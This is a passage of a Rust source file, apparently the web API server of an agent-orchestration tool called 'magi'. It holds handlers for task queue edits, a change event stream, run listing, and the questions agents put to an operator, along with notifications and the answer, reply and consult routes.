7268        // behind must stop looking like it still needs a human. `ui.home`,
7269        // not the process-global `run::home()`: they agree in a real
7270        // process, but only `ui.home` also agrees with a test fixture's own
7271        // directory.
7272        crate::daemon::supersede_prior_runs(t, &home);
7273        Ok(())
7274    })
7275    .await
7276}
7277
7278/// `DELETE /api/queue/{id}`.
7279///
7280/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7281/// names this task: a `running` status or an orphaned `.lock` left behind by a
7282/// killed daemon is a leftover, and treating either as authority made the
7283/// task undeletable from the phone for good. The associated runs, if any, are
7284/// kept: a run is self-contained history and not an appendage of the task.
7285async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7286    blocking(move || {
7287        let id = resolve_task(&ui.queue, &id)?;
7288        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7289        ui.queue
7290            .remove(&id, in_flight, &ui.questions)
7291            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7292        Ok(StatusCode::NO_CONTENT)
7293    })
7294    .await
7295}
7296
7297/// Read a task, change it, write it back, under the queue's own lock.
7298///
7299/// Taking the same claim a daemon takes is what makes hold, release,
7300/// priority, edit, and done safe to press while magi is running: without it
7301/// the daemon's next save would land on top of the operator's change and
7302/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7303/// both do, for a running task - and that refusal becomes the 4xx the card
7304/// shows, same as any other domain rule.
7305async fn mutate(
7306    ui: Arc<Ui>,
7307    id: String,
7308    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7309) -> ApiResult<Json<TaskView>> {
7310    blocking(move || {
7311        let id = resolve_task(&ui.queue, &id)?;
7312        // `claim` fails when the lock file already exists, which is the
7313        // conflict the UI must report: the daemon owns that task's file for
7314        // as long as it is running it, and our write would be lost under its
7315        // next save. The message names the lock either way.
7316        let _claim = ui.queue.claim(&id).map_err(|e| {
7317            ApiError::conflict(format!(
7318                "{e:#} - a daemon is running this task, so it cannot be \
7319                 changed from here yet; wait until it is released, then retry"
7320            ))
7321        })?;
7322        let mut task = ui.queue.get(&id)?;
7323        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7324            Ok(dup) => ApiError::conflict(dup.render(
7325                "Nothing was saved. If it is not a duplicate, repeat the request with \
7326                 \"force\": true.",
7327            )),
7328            Err(e) => ApiError::bad_request_from(e),
7329        })?;
7330        ui.queue.put(&mut task)?;
7331        Ok(Json(TaskView::from(task)))
7332    })
7333    .await
7334}
7335
7336/// The change stream: one revision number per store, on connect and whenever
7337/// any of them moves.
7338///
7339/// One shared worker scans stores; clients only forward its notifications.
7340async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7341    ui.monitor.ensure_worker(&ui);
7342    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7343    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7344
7345    let state = Arc::clone(&ui);
7346    tokio::spawn(async move {
7347        let initial_revisions = {
7348            let guard = match state.monitor.latest.lock() {
7349                Ok(g) => g,
7350                Err(p) => p.into_inner(),
7351            };
7352            guard.as_ref().map(|(r, _)| *r)
7353        };
7354        if let Some(revisions) = initial_revisions {
7355            let initial_payload = serde_json::json!({
7356                "queue_rev": revisions.0,
7357                "runs_rev": revisions.1,
7358                "questions_rev": revisions.2,
7359                "talks_rev": revisions.3,
7360                "notifications_rev": revisions.4,
7361                "loop_rev": revisions.5,
7362            });
7363
7364            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7365                if tx.send(event).await.is_err() {
7366                    return;
7367                }
7368            }
7369        }
7370
7371        loop {
7372            match tokio::select! {
7373                _ = tx.closed() => return,
7374                value = broadcast_rx.recv() => value,
7375            } {
7376                Ok(notif) => {
7377                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7378                    else {
7379                        break;
7380                    };
7381                    if tx.send(event).await.is_err() {
7382                        break;
7383                    }
7384                }
7385                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7386                    let revs = {
7387                        let guard = match state.monitor.latest.lock() {
7388                            Ok(g) => g,
7389                            Err(p) => p.into_inner(),
7390                        };
7391                        guard.as_ref().map(|(r, _)| *r)
7392                    };
7393                    if let Some(revs) = revs {
7394                        let payload = serde_json::json!({
7395                            "queue_rev": revs.0,
7396                            "runs_rev": revs.1,
7397                            "questions_rev": revs.2,
7398                            "talks_rev": revs.3,
7399                            "notifications_rev": revs.4,
7400                            "loop_rev": revs.5,
7401                        });
7402                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7403                            if tx.send(event).await.is_err() {
7404                                break;
7405                            }
7406                        }
7407                    }
7408                }
7409                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7410                    break;
7411                }
7412            }
7413        }
7414    });
7415
7416    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7417        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7418}
7419
7420/// Run ids under `runs`, newest first.
7421///
7422/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7423/// which reads the process-global home: the server has to be drivable against
7424/// a temp directory for any of this to be testable.
7425fn run_ids(runs: &FsPath) -> Vec<String> {
7426    let mut ids: Vec<String> = std::fs::read_dir(runs)
7427        .into_iter()
7428        .flatten()
7429        .flatten()
7430        .filter(|e| e.path().join("run.json").is_file())
7431        .map(|e| e.file_name().to_string_lossy().into_owned())
7432        .collect();
7433    // Ids start with a sortable timestamp.
7434    ids.sort_unstable_by(|a, b| b.cmp(a));
7435    ids
7436}
7437
7438/// Read one run's state from an explicit runs root.
7439fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7440    let path = runs.join(id).join("run.json");
7441    let body =
7442        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7443    let state: RunState =
7444        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7445    // The same migration `RunState::load` applies, so a record from the
7446    // previous schema reads here as it does everywhere else (an origin-less
7447    // run shows as "origin unknown") instead of vanishing from the phone the
7448    // moment the schema is bumped.
7449    run::migrate_schema(state)
7450}
7451
7452/// Runs on disk under `runs` whose state this build cannot parse - almost
7453/// always a schema bump, occasionally a run killed mid-write.
7454///
7455/// Exposed so every surface that reports on runs shares one count instead of
7456/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7457/// `magi doctor` calls this directly rather than guessing at the same number
7458/// a second way.
7459#[must_use]
7460pub fn runs_unreadable(runs: &FsPath) -> usize {
7461    run_ids(runs)
7462        .into_iter()
7463        .filter(|id| read_run(runs, id).is_err())
7464        .count()
7465}
7466
7467fn plain_record_id(id: &str) -> bool {
7468    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7469}
7470
7471/// Expand an id or short id to exactly one run id.
7472fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7473    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7474        return Ok(id.to_owned());
7475    }
7476    pick(run_ids(runs), id, "run")
7477}
7478
7479/// Expand an id or short id to exactly one task id.
7480fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7481    if plain_record_id(id) && queue.path_of(id).is_file() {
7482        return Ok(id.to_owned());
7483    }
7484    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7485    pick(ids, id, "task")
7486}
7487
7488/// A question as the phone reads it.
7489///
7490/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7491/// text already parsed into a node tree so the client never runs its own
7492/// markdown reader over agent-authored prose. A relative image path in it
7493/// resolves against this question's own panel asset route, which is the one
7494/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7495/// separate, sandboxed document, but `detail` is rendered inline in the
7496/// operator's own page, so an image reference in it may only ever point at
7497/// files magi itself already serves for this question.
7498#[derive(Debug, Serialize)]
7499struct QuestionView {
7500    choice_effects: std::collections::BTreeMap<String, String>,
7501    record_revision: String,
7502    #[serde(flatten)]
7503    question: Question,
7504    detail_md: Vec<md::Node>,
7505    posting_view: Option<PostingView>,
7506    /// Each thread turn's body, parsed; same order as `question.thread`.
7507    thread_bodies_md: Vec<Vec<md::Node>>,
7508    /// Each thread turn's deputy note, parsed (`None` for a turn without
7509    /// one); same order as `question.thread`.
7510    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7511    /// Is the ball in the agent's court right now?
7512    ///
7513    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7514    /// [`Question::say`] - so this is the one field that tells the phone to
7515    /// disable the answer controls and show "waiting for the agent" instead of
7516    /// a card the owner can act on. Computed rather than stored on
7517    /// [`Question`] itself, on the same reasoning as `waiting` on
7518    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7519    /// it here means the client never has to re-derive that rule.
7520    waiting_on_agent: bool,
7521    /// Who is waiting on this open question - see [`holder_of`]. Separate
7522    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7523    /// anyone is there to take it.
7524    holder: Option<&'static str>,
7525    /// Whether `magi serve` can start a follow-up agent for a conductor
7526    /// question at all: false when `daemon.max_deputies = 0` or the config is
7527    /// unreadable. Separate from `holder`, which says who is listening now.
7528    deputies_enabled: bool,
7529    /// All starts were spent and no live holder remains. Display-only: the
7530    /// final attempt increments `starts` before running under its lease.
7531    deputy_exhausted: bool,
7532    text_delivery: crate::question_delivery::Availability,
7533    /// `question.run` is a task id (conductor / triage questions), not a run
7534    /// id, so the UI links it to the task page.
7535    run_is_task: bool,
7536    /// The existing chat this question's task came from, including settled
7537    /// questions - see [`crate::consult::associated_talk`].
7538    origin_chat: Option<String>,
7539    /// `origin_chat` is closed; consulting reopens it first.
7540    origin_chat_closed: bool,
7541    /// Consultation eligibility is separate from navigation to the chat.
7542    can_consult_chat: bool,
7543}
7544
7545#[derive(Debug, Serialize)]
7546struct PostingView {
7547    before_md: Vec<md::Node>,
7548    after_md: Vec<md::Node>,
7549    fields: Vec<crate::github_text::ComparisonView>,
7550}
7551
7552fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7553    let comparison = question.posting_comparison.as_ref()?;
7554    if !comparison.matches_detail(&question.detail) {
7555        return None;
7556    }
7557    let mut ids = std::collections::BTreeSet::new();
7558    if comparison.fields.is_empty()
7559        || comparison
7560            .fields
7561            .iter()
7562            .flat_map(|f| &f.pairs)
7563            .any(|p| !ids.insert(p.id))
7564        || comparison
7565            .fields
7566            .iter()
7567            .flat_map(|f| &f.original_triggers)
7568            .any(|t| !ids.insert(t.id))
7569    {
7570        return None;
7571    }
7572    let fields = comparison
7573        .fields
7574        .iter()
7575        .map(|f| f.view(comparison.excerpt))
7576        .collect::<Option<Vec<_>>>()?;
7577    Some(PostingView {
7578        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7579        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7580        fields,
7581    })
7582}
7583
7584impl QuestionView {
7585    /// The view of `question`, reading who is waiting on it from `store`.
7586    ///
7587    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7588    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7589        let base = md::ImageBase::QuestionPanel {
7590            id: question.id.clone(),
7591        };
7592        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7593        Self {
7594            choice_effects: question
7595                .choices
7596                .iter()
7597                .filter_map(|c| {
7598                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7599                })
7600                .collect(),
7601            record_revision: question_record_revision(&question),
7602            detail_md: md::to_nodes(&question.detail, &base),
7603            posting_view: posting_view(&question, &base),
7604            thread_bodies_md: question
7605                .thread
7606                .iter()
7607                .map(|t| md::to_nodes(&t.body, &base))
7608                .collect(),
7609            thread_notes_md: question
7610                .thread
7611                .iter()
7612                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7613                .collect(),
7614            deputy_exhausted: store.deputy_exhausted(&question),
7615            waiting_on_agent: question.waiting_on_agent(),
7616            holder,
7617            deputies_enabled: deputies_enabled(cfg, &question),
7618            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7619            run_is_task: question.run_names_task(),
7620            origin_chat: None,
7621            origin_chat_closed: false,
7622            can_consult_chat: false,
7623            question,
7624        }
7625    }
7626
7627    /// Fill `origin_chat` from the queue and the talks.
7628    fn with_origin(
7629        mut self,
7630        tasks: &[crate::queue::Task],
7631        talks: &[Talk],
7632        watches: &[crate::release_watch::WatchState],
7633    ) -> Self {
7634        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7635        self.can_consult_chat = consult.is_some();
7636        let talk =
7637            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7638        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7639        self.origin_chat = talk.map(|t| t.id);
7640        self
7641    }
7642}
7643
7644/// The config this repository resolves, or `None` when it cannot be read.
7645/// Discovering is git processes plus a config render, so a request that needs
7646/// it for many items takes it once and passes it down.
7647fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7648    Config::discover(repo, None).ok().map(|(c, _)| c)
7649}
7650
7651/// Can `magi serve` start a deputy for this question under `cfg`?
7652fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7653    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7654}
7655
7656/// The views `GET /api/questions` answers. `load` runs at most once, however
7657/// many questions there are, and not at all when there are none.
7658fn question_views(
7659    qs: Vec<Question>,
7660    store: &ask::Questions,
7661    load: impl FnOnce() -> Option<Config>,
7662) -> Vec<QuestionView> {
7663    if qs.is_empty() {
7664        return Vec::new();
7665    }
7666    let cfg = load();
7667    qs.into_iter()
7668        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7669        .collect()
7670}
7671
7672/// Who is honestly waiting on an open question right now: `"asker"` (the
7673/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7674/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7675/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7676/// up, or the question never had anyone listening (a conductor question or a
7677/// merge approval from before deputies, or not yet given one).
7678///
7679/// `None` for a question that is settled, and for one that is not an agent's
7680/// to wait on at all (a release notice).
7681fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7682    if !q.status.open() {
7683        return None;
7684    }
7685    if q.cwd.is_none()
7686        && q.deputy.is_none()
7687        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7688    {
7689        return crate::deputy::kind_of(q).map(|_| "nobody");
7690    }
7691    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7692        Some(_) if q.deputy.is_some() => "deputy",
7693        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7694        Some(_) => "asker",
7695        None => "nobody",
7696    })
7697}
7698
7699/// `GET /api/questions`.
7700///
7701/// Everything, not just the open ones: an answered question is the record of a
7702/// decision, and the phone is where the operator goes back to check what they
7703/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7704async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7705    blocking(move || {
7706        let questions = ui.questions.list();
7707        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7708        Ok(Json(
7709            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7710                .into_iter()
7711                .map(|view| view.with_origin(&tasks, &talks, &watches))
7712                .collect(),
7713        ))
7714    })
7715    .await
7716}
7717
7718/// Question content and answer controls never wait for task/chat provenance.
7719async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7720    blocking(move || {
7721        Ok(Json(question_views(
7722            ui.questions.list(),
7723            &ui.questions,
7724            || deputy_config(&ui.repo),
7725        )))
7726    })
7727    .await
7728}
7729
7730fn question_record_revision(question: &Question) -> String {
7731    use std::hash::{Hash as _, Hasher as _};
7732    let mut hash = std::hash::DefaultHasher::new();
7733    serde_json::to_vec(question)
7734        .expect("serializable question")
7735        .hash(&mut hash);
7736    format!("{:016x}", hash.finish())
7737}
7738
7739#[derive(Serialize)]
7740struct QuestionOriginView {
7741    id: String,
7742    record_revision: String,
7743    origin_chat: Option<String>,
7744    origin_chat_closed: bool,
7745    can_consult_chat: bool,
7746}
7747
7748async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7749    blocking(move || {
7750        let questions = ui.questions.list();
7751        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7752        Ok(Json(
7753            questions
7754                .into_iter()
7755                .map(|question| {
7756                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7757                    let can_consult_chat = consult.is_some();
7758                    let talk = crate::consult::associated_talk_with_watches(
7759                        &tasks, &talks, &question, &watches,
7760                    );
7761                    QuestionOriginView {
7762                        record_revision: question_record_revision(&question),
7763                        id: question.id,
7764                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7765                        origin_chat: talk.map(|talk| talk.id),
7766                        can_consult_chat,
7767                    }
7768                })
7769                .collect(),
7770        ))
7771    })
7772    .await
7773}
7774
7775type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7776
7777/// Only the task ancestry and chats these questions actually reference. Run
7778/// mappings share the reconciled queue index; exact task references bypass it.
7779/// No question means no task/chat I/O, including no index reconciliation.
7780fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7781    fn task_for_run(
7782        ui: &Ui,
7783        index: &mut Option<Vec<Arc<TaskRelation>>>,
7784        run: &str,
7785        loaded: &HashMap<String, Task>,
7786    ) -> ApiResult<Option<Task>> {
7787        if !plain_record_id(run) {
7788            return Ok(None);
7789        }
7790        if index.is_none() {
7791            *index = Some(ui.indexed_tasks()?);
7792        }
7793        Ok(index
7794            .as_ref()
7795            .expect("loaded index")
7796            .iter()
7797            .find(|task| task.runs.iter().any(|id| id == run))
7798            .and_then(|task| {
7799                loaded
7800                    .get(&task.id)
7801                    .cloned()
7802                    .or_else(|| ui.queue.get(&task.id).ok())
7803            })
7804            .filter(|task| task.runs.iter().any(|id| id == run)))
7805    }
7806    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7807        plain_record_id(id)
7808            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7809            .flatten()
7810            .filter(|task| task.id == id)
7811    };
7812    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7813    let mut index = None;
7814    let mut tasks = HashMap::new();
7815    let mut talks = HashMap::new();
7816    for question in questions {
7817        for reference in crate::consult::question_task_refs(question, &watches) {
7818            let mut current = match reference {
7819                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7820                crate::consult::QuestionTaskRef::Run(id) => {
7821                    task_for_run(ui, &mut index, id, &tasks)?
7822                }
7823            };
7824            let mut seen = HashSet::new();
7825            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7826                let Some(task) = current.take() else {
7827                    break;
7828                };
7829                if !seen.insert(task.id.clone()) {
7830                    break;
7831                }
7832                let chat = task.chat_talk().map(str::to_owned);
7833                let followup = task.followup.clone();
7834                tasks.insert(task.id.clone(), task);
7835                if let Some(chat) = chat {
7836                    if plain_record_id(&chat)
7837                        && !talks.contains_key(&chat)
7838                        && let Ok(talk) = ui.talks.get(&chat)
7839                    {
7840                        talks.insert(chat, talk);
7841                    }
7842                    break;
7843                }
7844                let Some(followup) = followup else {
7845                    break;
7846                };
7847                current = match followup.origin_task {
7848                    Some(id) => direct_task(&id, &tasks),
7849                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7850                };
7851            }
7852        }
7853    }
7854    let mut tasks: Vec<Task> = tasks.into_values().collect();
7855    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7856    Ok((tasks, talks.into_values().collect(), watches))
7857}
7858
7859/// `GET /api/notifications`: not dismissed, newest first, with the unread
7860/// count so the badge and the list cannot disagree.
7861async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7862    blocking(move || {
7863        let items = ui.notices.list();
7864        let unread = items.iter().filter(|n| n.unread()).count();
7865        let items: Vec<_> = items
7866            .into_iter()
7867            .map(|n| {
7868                let question = crate::notices::answerable_question(&n, &ui.questions);
7869                let mut item = serde_json::to_value(n)?;
7870                item["answerable_question"] = serde_json::json!(question);
7871                Ok(item)
7872            })
7873            .collect::<anyhow::Result<_>>()?;
7874        Ok(Json(
7875            serde_json::json!({ "unread": unread, "items": items }),
7876        ))
7877    })
7878    .await
7879}
7880
7881fn notice_error(e: anyhow::Error) -> ApiError {
7882    // An unknown or malformed id and a vanished file are the same answer to
7883    // the phone: that notification is gone.
7884    ApiError::not_found(format!("{e:#}"))
7885}
7886
7887/// `POST /api/notifications/{id}/read`.
7888async fn notification_read(
7889    State(ui): State<Arc<Ui>>,
7890    Path(id): Path<String>,
7891) -> ApiResult<Json<Notice>> {
7892    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7893}
7894
7895/// `POST /api/notifications/{id}/dismiss`.
7896async fn notification_dismiss(
7897    State(ui): State<Arc<Ui>>,
7898    Path(id): Path<String>,
7899) -> ApiResult<Json<Notice>> {
7900    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7901}
7902
7903/// `POST /api/notifications/read-all`.
7904async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7905    blocking(move || {
7906        let changed = ui.notices.mark_all_read()?;
7907        Ok(Json(serde_json::json!({ "marked": changed })))
7908    })
7909    .await
7910}
7911
7912/// The body of `POST /api/questions/{id}/answer`.
7913///
7914/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7915/// a bad request rather than a guess: an answer magi invented is worse than a
7916/// question left open.
7917#[derive(Debug, Default, Deserialize)]
7918#[serde(default, deny_unknown_fields)]
7919struct NewAnswer {
7920    choice: Option<String>,
7921    text: Option<String>,
7922    talk: Option<String>,
7923    head: Option<String>,
7924}
7925
7926async fn question_answer(
7927    State(ui): State<Arc<Ui>>,
7928    Path(id): Path<String>,
7929    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7930) -> ApiResult<Json<QuestionView>> {
7931    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7932    let answer = match (body.choice, body.text) {
7933        (Some(c), None) => Answer::Choice(c),
7934        (None, Some(t)) => Answer::Text(t),
7935        (Some(_), Some(_)) => {
7936            return Err(ApiError::bad_request(
7937                "send either `choice` or `text`, not both",
7938            ));
7939        }
7940        (None, None) => {
7941            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7942        }
7943    };
7944
7945    blocking(move || {
7946        let id = resolve_question(&ui.questions, &id)?;
7947        let q = ui
7948            .questions
7949            .get(&id)
7950            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7951        if !q.status.open() {
7952            // Answered from the terminal, or by another phone, in between the
7953            // list and the tap. The UI shows the recorded answer rather than an
7954            // error, so it needs the record, not just the status.
7955            return Err(ApiError::conflict(format!(
7956                "question {} is already {}",
7957                q.short(),
7958                q.status.as_str()
7959            )));
7960        }
7961        // `Question::answer` owns the rules - an unoffered choice, free text on
7962        // a multiple-choice question, an empty reply - so the route does not
7963        // restate them and cannot drift from the CLI's behaviour.
7964        let cfg = deputy_config(&ui.repo);
7965        let (q, ()) = ui
7966            .questions
7967            .update(&q.id, |r| {
7968                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7969                // Buttons retain their displayed chat/head binding. A direct
7970                // decision does not require a button or a prior persona offer.
7971                if r.routed_task.is_some()
7972                    && r.merge_target.is_some()
7973                    && merge
7974                    && (body.talk.is_some() || body.head.is_some())
7975                {
7976                    let talk_id = body
7977                        .talk
7978                        .as_deref()
7979                        .context("approval button requires its chat")?;
7980                    let head = body
7981                        .head
7982                        .as_deref()
7983                        .context("approval button requires the displayed head")?;
7984                    let talk = ui.talks.get(talk_id)?;
7985                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
7986                    r.answer_chat_button(answer, talk_id, head)
7987                } else {
7988                    r.answer(answer)
7989                }
7990            })
7991            .map_err(ApiError::bad_request_from)?;
7992        let (tasks, talks, watches) =
7993            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7994        Ok(Json(
7995            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7996        ))
7997    })
7998    .await
7999}
8000
8001/// A dedicated status avoids the client's settled-question 409 handling.
8002fn question_text_error(e: anyhow::Error) -> ApiError {
8003    let reason = e
8004        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8005        .map(|e| e.reason);
8006    let error = ApiError::bad_request_from(e);
8007    if let Some(reason) = reason {
8008        ApiError {
8009            text_reason: Some(reason),
8010            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8011        }
8012    } else {
8013        error
8014    }
8015}
8016
8017/// The body of `POST /api/questions/{id}/say`.
8018#[derive(Debug, Deserialize)]
8019#[serde(deny_unknown_fields)]
8020struct NewSay {
8021    body: String,
8022}
8023
8024/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8025///
8026/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8027/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8028/// file, so there is no turn to serialize against and no
8029/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8030/// is a *different* process - the run parked behind `magi ask` - and picks
8031/// the reply up on its own poll of the very same file, same as an answer
8032/// does.
8033async fn question_say(
8034    State(ui): State<Arc<Ui>>,
8035    Path(id): Path<String>,
8036    body: std::result::Result<Json<NewSay>, JsonRejection>,
8037) -> ApiResult<Json<QuestionView>> {
8038    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8039    blocking(move || {
8040        let id = resolve_question(&ui.questions, &id)?;
8041        let q = ui
8042            .questions
8043            .get(&id)
8044            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8045        if !q.status.open() {
8046            // Same granularity as `question_answer`: answered or abandoned in
8047            // between the list and the tap is not this route's error to
8048            // explain any differently.
8049            return Err(ApiError::conflict(format!(
8050                "question {} is already {}",
8051                q.short(),
8052                q.status.as_str()
8053            )));
8054        }
8055        // `Question::say` owns the one rule that matters here - an empty
8056        // message tells the agent nothing - so the route does not restate it.
8057        let cfg = deputy_config(&ui.repo);
8058        let (q, ()) = ui
8059            .questions
8060            .update(&q.id, |r| {
8061                if body.body.trim().is_empty() {
8062                    return r.say(body.body);
8063                }
8064                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8065                r.say(body.body)
8066            })
8067            .map_err(question_text_error)?;
8068        let (tasks, talks, watches) =
8069            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8070        Ok(Json(
8071            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8072        ))
8073    })
8074    .await
8075}
8076
8077/// A disconnected request or a replacing listener cannot interrupt the short
8078/// transaction between persistence and detached worker publication.
8079async fn admitted<T: Send + 'static>(
8080    admission: AdmissionGuard,
8081    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8082) -> ApiResult<T> {
8083    tokio::spawn(async move {
8084        let result = work.await;
8085        drop(admission);
8086        result
8087    })
8088    .await
8089    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8090}
8091
8092/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8093/// came from. The question stays open: the chat agent answers it with `magi
8094/// answer`, or puts the decision to the owner in the conversation.
8095///
8096/// Answers 202 and runs the turn in the background, like every route that
8097/// spends agent calls. The text is queued as a draft of the existing talk, and
8098/// the turn goes through the talk's own gate and session; no seat or waiter is
8099/// started here.
8100async fn question_consult(
8101    State(ui): State<Arc<Ui>>,
8102    Path(id): Path<String>,
8103) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8104    let admission = ui.begin_admission()?;
8105    admitted(admission, async move {
8106        let (q, tasks, talks, watches, talk, cfg) = blocking({
8107            let ui = Arc::clone(&ui);
8108            move || {
8109                let id = resolve_question(&ui.questions, &id)?;
8110                let q = ui.questions.get(&id).map_err(|e| {
8111                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8112                })?;
8113                if !q.status.open() {
8114                    return Err(ApiError::conflict(format!(
8115                        "question {} is already {}",
8116                        q.short(),
8117                        q.status.as_str()
8118                    )));
8119                }
8120                let (tasks, talks, watches) =
8121                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8122                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8123                    return Err(ApiError::conflict(format!(
8124                        "question {} has no chat to ask",
8125                        q.short()
8126                    )));
8127                };
8128                // Read the config before `begin` saves anything: a failure here
8129                // must leave no consult record or draft behind, or a retry would
8130                // see `fresh == false` and never start the turn.
8131                let cfg = if q.consult.is_none() {
8132                    Some(Config::discover(&talk.repo, None)?.0)
8133                } else {
8134                    None
8135                };
8136                Ok((q, tasks, talks, watches, talk, cfg))
8137            }
8138        })
8139        .await?;
8140        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8141            .await
8142            .map_err(ApiError::from)?;
8143        let (view, reclaimed, submitted) = blocking({
8144            let ui = Arc::clone(&ui);
8145            move || {
8146                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8147                let claim = if fresh {
8148                    match ui.begin_queued_talk_turn(&talk.id)? {
